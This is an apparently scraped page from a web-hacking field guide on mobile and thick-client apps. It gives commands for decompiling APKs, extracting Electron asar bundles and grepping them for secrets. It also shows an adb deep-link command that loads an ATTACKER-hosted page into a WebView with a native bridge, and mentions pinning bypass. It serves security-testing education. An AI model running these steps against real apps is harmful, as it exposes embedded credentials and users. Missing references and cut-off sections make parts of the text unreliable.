⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued βŒ‚
πŸ”Ž
Field Guide/Mobile & Thick-Client

Mobile & Thick-Client

> Mobile apps and desktop wrappers ship code and secrets to the attacker's device, expose extra IPC > surface (deep links, WebViews, exported components), and often talk to backend endpoints the web > app never exposes. In the corpus, mobile bugs cluster around three things: leaked secrets in the > shipped bundle, deep-link β†’ WebView β†’ JS-bridge chains, and weaker auth on mobile-only > flows. (206 mined cases touch mobile.)

Β§1. Secrets in the shipped app

The bundle is a manifest of the backend. Decompile it.

apktool d app.apk ; jadx app.apk # Android # Electron/desktop: unpack the asar npx asar extract app.asar out/ ; grep -rEi 'token|secret|api[_-]?key|\.env' out/

See 0.

An exported deep-link handler that loads an attacker URL into a WebView with a JS↔native bridge is XSS-with-native-powers.

# Android: fire the deep link (adb) at an exported handler adb shell am start -a android.intent.action.VIEW -d "grab://open?page=https://ATTACKER/p.html"

See 0, 1, 2.

Β§3. Weaker auth on mobile-only flows

See 0.

Β§4. Transport & platform

bypass (Frida/objection) and cleartext endpoints; see 0, 1.

see 0/1.

Β§Tooling

apktool, jadx, dex2jar, objection/frida (pinning bypass, method hooking), adb (deep-link firing, logcat), Burp with device proxy, asar for Electron. See the many Android skills under ~/.claude/skills/ (ahh-, ha-, lpad-, ssl-pin-).

Β§References

0, 1.